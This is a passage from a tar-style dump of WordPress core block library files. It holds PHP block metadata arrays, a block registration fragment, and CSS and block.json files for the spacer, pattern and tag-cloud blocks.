the block, and the changes apply everywhere it’s used. This will also appear in the browser title bar and in search results.', 'textdomain' => 'default', 'attributes' => array( 'level' => array( 'type' => 'number', 'default' => 1 ), 'levelOptions' => array( 'type' => 'array', 'default' => array( 0, 1, 2, 3, 4, 5, 6 ) ), 'textAlign' => array( 'type' => 'string' ), 'isLink' => array( 'type' => 'boolean', 'default' => true ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ) ), 'example' => array( 'viewportWidth' => 500 ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'padding' => true, 'margin' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalWritingMode' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ), 'editorStyle' => 'wp-block-site-title-editor', 'style' => 'wp-block-site-title' ), 'social-link' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/social-link', 'title' => 'Social Icon', 'category' => 'widgets', 'parent' => array( 'core/social-links' ), 'description' => 'Display an icon linking to a social profile or site.', 'textdomain' => 'default', 'attributes' => array( 'url' => array( 'type' => 'string' ), 'service' => array( 'type' => 'string' ), 'label' => array( 'type' => 'string' ), 'rel' => array( 'type' => 'string' ) ), 'usesContext' => array( 'openInNewTab', 'showLabels', 'iconColor', 'iconColorValue', 'iconBackgroundColor', 'iconBackgroundColorValue' ), 'supports' => array( 'reusable' => false, 'html' => false, 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-social-link-editor' ), 'social-links' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/social-links', 'title' => 'Social Icons', 'category' => 'widgets', 'allowedBlocks' => array( 'core/social-link' ), 'description' => 'Display icons linking to your social profiles or sites.', 'keywords' => array( 'links' ), 'textdomain' => 'default', 'attributes' => array( 'iconColor' => array( 'type' => 'string' ), 'customIconColor' => array( 'type' => 'string' ), 'iconColorValue' => array( 'type' => 'string' ), 'iconBackgroundColor' => array( 'type' => 'string' ), 'customIconBackgroundColor' => array( 'type' => 'string' ), 'iconBackgroundColorValue' => array( 'type' => 'string' ), 'openInNewTab' => array( 'type' => 'boolean', 'default' => false ), 'showLabels' => array( 'type' => 'boolean', 'default' => false ), 'size' => array( 'type' => 'string' ) ), 'providesContext' => array( 'openInNewTab' => 'openInNewTab', 'showLabels' => 'showLabels', 'iconColor' => 'iconColor', 'iconColorValue' => 'iconColorValue', 'iconBackgroundColor' => 'iconBackgroundColor', 'iconBackgroundColorValue' => 'iconBackgroundColorValue' ), 'supports' => array( 'align' => array( 'left', 'center', 'right' ), 'anchor' => true, '__experimentalExposeControlsToChildren' => true, 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'allowVerticalAlignment' => false, 'default' => array( 'type' => 'flex' ) ), 'color' => array( 'enableContrastChecker' => false, 'background' => true, 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => false ) ), 'spacing' => array( 'blockGap' => array( 'horizontal', 'vertical' ), 'margin' => true, 'padding' => true, 'units' => array( 'px', 'em', 'rem', 'vh', 'vw' ), '__experimentalDefaultControls' => array( 'blockGap' => true, 'margin' => true, 'padding' => false ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'styles' => array( array( 'name' => 'default', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'logos-only', 'label' => 'Logos Only' ), array( 'name' => 'pill-shape', 'label' => 'Pill Shape' ) ), 'editorStyle' => 'wp-block-social-links-editor', 'style' => 'wp-block-social-links' ), 'spacer' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/spacer', 'title' => 'Spacer', 'category' => 'design', 'description' => 'Add white space between blocks and customize its height.', 'textdomain' => 'default', 'attributes' => array( 'height' => array( 'type' => 'string', 'default' => '100px' ), 'width' => array( 'type' => 'string' ) ), 'usesContext' => array( 'orientation' ), 'supports' => array( 'anchor' => true, 'spacing' => array( 'margin' => array( 'top', 'bottom' ), '__experimentalDefaultControls' => array( 'margin' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-spacer-editor', 'style' => 'wp-block-spacer' ), 'table' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/table', 'title' => 'Table', 'category' => 'text', 'description' => 'Create structured content in rows and columns to display information.', 'textdomain' => 'default', 'attributes' => array( 'hasFixedLayout' => array( 'type' => 'boolean', 'default' => true ), 'caption' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'figcaption' ), 'head' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => 'thead tr', 'query' => array( 'cells' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => 'td,th', 'query' => array( 'content' => array( 'type' => 'rich-text', 'source' => 'rich-text' ), 'tag' => array( 'type' => 'string', 'default' => 'td', 'source' => 'tag' ), 'scope' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'scope' ), 'align' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'data-align' ), 'colspan' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'colspan' ), 'rowspan' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'rowspan' ) ) ) ) ), 'body' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => 'tbody tr', 'query' => array( 'cells' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => 'td,th', 'query' => array( 'content' => array( 'type' => 'rich-text', 'source' => 'rich-text' ), 'tag' => array( 'type' => 'string', 'default' => 'td', 'source' => 'tag' ), 'scope' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'scope' ), 'align' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'data-align' ), 'colspan' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'colspan' ), 'rowspan' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'rowspan' ) ) ) ) ), 'foot' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => 'tfoot tr', 'query' => array( 'cells' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => 'td,th', 'query' => array( 'content' => array( 'type' => 'rich-text', 'source' => 'rich-text' ), 'tag' => array( 'type' => 'string', 'default' => 'td', 'source' => 'tag' ), 'scope' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'scope' ), 'align' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'data-align' ), 'colspan' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'colspan' ), 'rowspan' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'rowspan' ) ) ) ) ) ), 'supports' => array( 'anchor' => true, 'align' => true, 'color' => array( '__experimentalSkipSerialization' => true, 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( '__experimentalSkipSerialization' => true, 'color' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'style' => true, 'width' => true ) ), '__experimentalSelector' => '.wp-block-table > table', 'interactivity' => array( 'clientNavigation' => true ) ), 'styles' => array( array( 'name' => 'regular', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'stripes', 'label' => 'Stripes' ) ), 'editorStyle' => 'wp-block-table-editor', 'style' => 'wp-block-table' ), 'tag-cloud' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/tag-cloud', 'title' => 'Tag Cloud', 'category' => 'widgets', 'description' => 'A cloud of popular keywords, each sized by how often it appears.', 'textdomain' => 'default', 'attributes' => array( 'numberOfTags' => array( 'type' => 'number', 'default' => 45, 'minimum' => 1, 'maximum' => 100 ), 'taxonomy' => array( 'type' => 'string', 'default' => 'post_tag' ), 'showTagCounts' => array( 'type' => 'boolean', 'default' => false ), 'smallestFontSize' => array( 'type' => 'string', 'default' => '8pt' ), 'largestFontSize' => array( 'type' => 'string', 'default' => '22pt' ) ), 'styles' => array( array( 'name' => 'default', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'outline', 'label' => 'Outline' ) ), 'supports' => array( 'html' => false, 'align' => true, 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalLetterSpacing' => true ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'editorStyle' => 'wp-block-tag-cloud-editor' ), 'template-part' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/template-part', 'title' => 'Template Part', 'category' => 'theme', 'description' => 'Edit the different global regions of your site, like the header, footer, sidebar, or create your own.', 'textdomain' => 'default', 'attributes' => array( 'slug' => array( 'type' => 'string' ), 'theme' => array( 'type' => 'string' ), 'tagName' => array( 'type' => 'string' ), 'area' => array( 'type' => 'string' ) ), 'supports' => array( 'align' => true, 'html' => false, 'reusable' => false, 'renaming' => false, 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-template-part-editor' ), 'term-description' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/term-description', 'title' => 'Term Description', 'category' => 'theme', 'description' => 'Display the description of categories, tags and custom taxonomies when viewing an archive.', 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ) ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'padding' => true, 'margin' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ) ), 'text-columns' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/text-columns', 'title' => 'Text Columns (deprecated)', 'icon' => 'columns', 'category' => 'design', 'description' => 'This block is deprecated. Please use the Columns block instead.', 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'array', 'source' => 'query', 'selector' => 'p', 'query' => array( 'children' => array( 'type' => 'string', 'source' => 'html' ) ), 'default' => array( array( ), array( ) ) ), 'columns' => array( 'type' => 'number', 'default' => 2 ), 'width' => array( 'type' => 'string' ) ), 'supports' => array( 'inserter' => false, 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-text-columns-editor', 'style' => 'wp-block-text-columns' ), 'verse' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/verse', 'title' => 'Verse', 'category' => 'text', 'description' => 'Insert poetry. Use special spacing formats. Or quote song lyrics.', 'keywords' => array( 'poetry', 'poem' ), 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'pre', '__unstablePreserveWhiteSpace' => true, 'role' => 'content' ), 'textAlign' => array( 'type' => 'string' ) ), 'supports' => array( 'anchor' => true, 'background' => array( 'backgroundImage' => true, 'backgroundSize' => true, '__experimentalDefaultControls' => array( 'backgroundImage' => true ) ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'dimensions' => array( 'minHeight' => true, '__experimentalDefaultControls' => array( 'minHeight' => false ) ), 'typography' => array( 'fontSize' => true, '__experimentalFontFamily' => true, 'lineHeight' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalWritingMode' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), '__experimentalBorder' => array( 'radius' => true, 'width' => true, 'color' => true, 'style' => true ), 'interactivity' => array( 'clientNavigation' => true ) ), 'style' => 'wp-block-verse', 'editorStyle' => 'wp-block-verse-editor' ), 'video' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/video', 'title' => 'Video', 'category' => 'media', 'description' => 'Embed a video from your media library or upload a new one.', 'keywords' => array( 'movie' ), 'textdomain' => 'default', 'attributes' => array( 'autoplay' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'autoplay' ), 'caption' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'figcaption', 'role' => 'content' ), 'controls' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'controls', 'default' => true ), 'id' => array( 'type' => 'number', 'role' => 'content' ), 'loop' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'loop' ), 'muted' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'muted' ), 'poster' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'poster' ), 'preload' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'preload', 'default' => 'metadata' ), 'blob' => array( 'type' => 'string', 'role' => 'local' ), 'src' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'src', 'role' => 'content' ), 'playsInline' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'playsinline' ), 'tracks' => array( 'role' => 'content', 'type' => 'array', 'items' => array( 'type' => 'object' ), 'default' => array( ) ) ), 'supports' => array( 'anchor' => true, 'align' => true, 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-video-editor', 'style' => 'wp-block-video' ), 'widget-group' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/widget-group', 'title' => 'Widget Group', 'category' => 'widgets', 'attributes' => array( 'title' => array( 'type' => 'string' ) ), 'supports' => array( 'html' => false, 'inserter' => true, 'customClassName' => true, 'reusable' => false ), 'editorStyle' => 'wp-block-widget-group-editor', 'style' => 'wp-block-widget-group' ) );blocks/file.php000064400000001603147177035020007457 0ustar00 'render_block_core_file', ) ); } add_action( 'init', 'register_block_core_file' ); blocks/spacer/editor-rtl.css000064400000004537147177035020012114 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .block-editor-block-list__block[data-type="core/spacer"]::before { content: ""; display: block; position: absolute; z-index: 1; width: 100%; min-height: 8px; min-width: 8px; height: 100%; } .wp-block-spacer.is-hovered .block-library-spacer__resize-container, .block-library-spacer__resize-container.has-show-handle { background: rgba(0, 0, 0, 0.1); } .is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container, .is-dark-theme .block-library-spacer__resize-container.has-show-handle { background: rgba(255, 255, 255, 0.15); } .block-library-spacer__resize-container { clear: both; } .block-library-spacer__resize-container:not(.is-resizing) { height: 100% !important; width: 100% !important; } .block-library-spacer__resize-container .components-resizable-box__handle::before { content: none; } .block-library-spacer__resize-container.resize-horizontal { margin-bottom: 0; }blocks/spacer/style.min.css000064400000000034147177035020011735 0ustar00.wp-block-spacer{clear:both}blocks/spacer/editor.css000064400000004537147177035020011315 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .block-editor-block-list__block[data-type="core/spacer"]::before { content: ""; display: block; position: absolute; z-index: 1; width: 100%; min-height: 8px; min-width: 8px; height: 100%; } .wp-block-spacer.is-hovered .block-library-spacer__resize-container, .block-library-spacer__resize-container.has-show-handle { background: rgba(0, 0, 0, 0.1); } .is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container, .is-dark-theme .block-library-spacer__resize-container.has-show-handle { background: rgba(255, 255, 255, 0.15); } .block-library-spacer__resize-container { clear: both; } .block-library-spacer__resize-container:not(.is-resizing) { height: 100% !important; width: 100% !important; } .block-library-spacer__resize-container .components-resizable-box__handle::before { content: none; } .block-library-spacer__resize-container.resize-horizontal { margin-bottom: 0; }blocks/spacer/style-rtl.css000064400000002741147177035020011761 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-spacer { clear: both; }blocks/spacer/editor.min.css000064400000001470147177035020012070 0ustar00.block-editor-block-list__block[data-type="core/spacer"]:before{content:"";display:block;position:absolute;z-index:1;width:100%;min-height:8px;min-width:8px;height:100%}.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container{background:rgba(0,0,0,.1)}.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container{background:hsla(0,0%,100%,.15)}.block-library-spacer__resize-container{clear:both}.block-library-spacer__resize-container:not(.is-resizing){height:100%!important;width:100%!important}.block-library-spacer__resize-container .components-resizable-box__handle:before{content:none}.block-library-spacer__resize-container.resize-horizontal{margin-bottom:0}blocks/spacer/block.json000064400000000773147177035020011300 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/spacer", "title": "Spacer", "category": "design", "description": "Add white space between blocks and customize its height.", "textdomain": "default", "attributes": { "height": { "type": "string", "default": "100px" }, "width": { "type": "string" } }, "usesContext": [ "orientation" ], "supports": { "anchor": true }, "editorStyle": "wp-block-spacer-editor", "style": "wp-block-spacer" } blocks/spacer/style-rtl.min.css000064400000000034147177035020012534 0ustar00.wp-block-spacer{clear:both}blocks/spacer/editor-rtl.min.css000064400000001470147177035020012667 0ustar00.block-editor-block-list__block[data-type="core/spacer"]:before{content:"";display:block;position:absolute;z-index:1;width:100%;min-height:8px;min-width:8px;height:100%}.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container{background:rgba(0,0,0,.1)}.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container{background:hsla(0,0%,100%,.15)}.block-library-spacer__resize-container{clear:both}.block-library-spacer__resize-container:not(.is-resizing){height:100%!important;width:100%!important}.block-library-spacer__resize-container .components-resizable-box__handle:before{content:none}.block-library-spacer__resize-container.resize-horizontal{margin-bottom:0}blocks/spacer/style.css000064400000002741147177035020011162 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-spacer { clear: both; }blocks/pattern/block.json000064400000000504147177035020011470 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/pattern", "title": "Pattern", "category": "theme", "description": "Show a block pattern.", "supports": { "html": false, "inserter": false }, "textdomain": "default", "attributes": { "slug": { "type": "string" } } } blocks/tag-cloud/editor-rtl.css000064400000000417147177035020012507 0ustar00.wp-block-tag-cloud .wp-block-tag-cloud{ border:none; border-radius:inherit; margin:0; padding:0; } .wp-block-tag-cloud__inspector-settings .components-base-control,.wp-block-tag-cloud__inspector-settings .components-base-control:last-child{ margin-bottom:0; }blocks/tag-cloud/style.min.css000064400000000733147177035020012345 0ustar00.wp-block-tag-cloud.aligncenter{text-align:center}.wp-block-tag-cloud.alignfull{padding-left:1em;padding-right:1em}.wp-block-tag-cloud a{display:inline-block;margin-right:5px}.wp-block-tag-cloud span{display:inline-block;margin-left:5px;text-decoration:none}.wp-block-tag-cloud.is-style-outline{display:flex;flex-wrap:wrap;gap:1ch}.wp-block-tag-cloud.is-style-outline a{border:1px solid;font-size:unset!important;margin-right:0;padding:1ch 2ch;text-decoration:none!important}blocks/tag-cloud/editor.css000064400000000417147177035020011710 0ustar00.wp-block-tag-cloud .wp-block-tag-cloud{ border:none; border-radius:inherit; margin:0; padding:0; } .wp-block-tag-cloud__inspector-settings .components-base-control,.wp-block-tag-cloud__inspector-settings .components-base-control:last-child{ margin-bottom:0; }blocks/tag-cloud/style-rtl.css000064400000003776147177035020012374 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-tag-cloud.aligncenter { text-align: center; } .wp-block-tag-cloud.alignfull { padding-right: 1em; padding-left: 1em; } .wp-block-tag-cloud a { display: inline-block; margin-left: 5px; } .wp-block-tag-cloud span { display: inline-block; margin-right: 5px; text-decoration: none; } .wp-block-tag-cloud.is-style-outline { display: flex; flex-wrap: wrap; gap: 1ch; } .wp-block-tag-cloud.is-style-outline a { border: 1px solid currentColor; font-size: unset !important; margin-left: 0; padding: 1ch 2ch; text-decoration: none !important; }blocks/tag-cloud/editor.min.css000064400000000372147177035020012472 0ustar00.wp-block-tag-cloud .wp-block-tag-cloud{border:none;border-radius:inherit;margin:0;padding:0}.wp-block-tag-cloud__inspector-settings .components-base-control,.wp-block-tag-cloud__inspector-settings .components-base-control:last-child{margin-bottom:0}blocks/tag-cloud/block.json000064400000001514147177035020011674 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/tag-cloud", "title": "Tag Cloud", "category": "widgets", "description": "A cloud of your most used tags.", "textdomain": "default", "attributes": { "numberOfTags": { "type": "number", "default": 45, "minimum": 1, "maximum": 100 }, "taxonomy": { "type": "string", "default": "post_tag" }, "showTagCounts": { "type": "boolean", "default": false }, "smallestFontSize": { "type": "string", "default": "8pt" }, "largestFontSize": { "type": "string", "default": "22pt" } }, "styles": [ { "name": "default", "label": "Default", "isDefault": true }, { "name": "outline", "label": "Outline" } ], "supports": { "html": false, "align": true }, "editorStyle": "wp-block-tag-cloud-editor" } blocks/tag-cloud/style-rtl.min.css000064400000000732147177035020013143 0ustar00.wp-block-tag-cloud.aligncenter{text-align:center}.wp-block-tag-cloud.alignfull{padding-right:1em;padding-left:1em}.wp-block-tag-cloud a{display:inline-block;margin-left:5px}.wp-block-tag-cloud span{display:inline-block;margin-right:5px;text-decoration:none}.wp-block-tag-cloud.is-style-outline{display:flex;flex-wrap:wrap;gap:1ch}.wp-block-tag-cloud.is-style-outline a{border:1px solid;font-size:unset!important;margin-left:0;padding:1ch 2ch;text-decoration:none!important}blocks/tag-cloud/editor-rtl.min.css000064400000000372147177035020013271 0ustar00.wp-block-tag-cloud .wp-block-tag-cloud{border:none;border-radius:inherit;margin:0;padding:0}.wp-block-tag-cloud__inspector-settings .components-base-control,.wp-block-tag-cloud__inspector-settings .components-base-control:last-child{margin-bottom:0}blocks/tag-cloud/style.css000064400000003777147177035020011576 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & 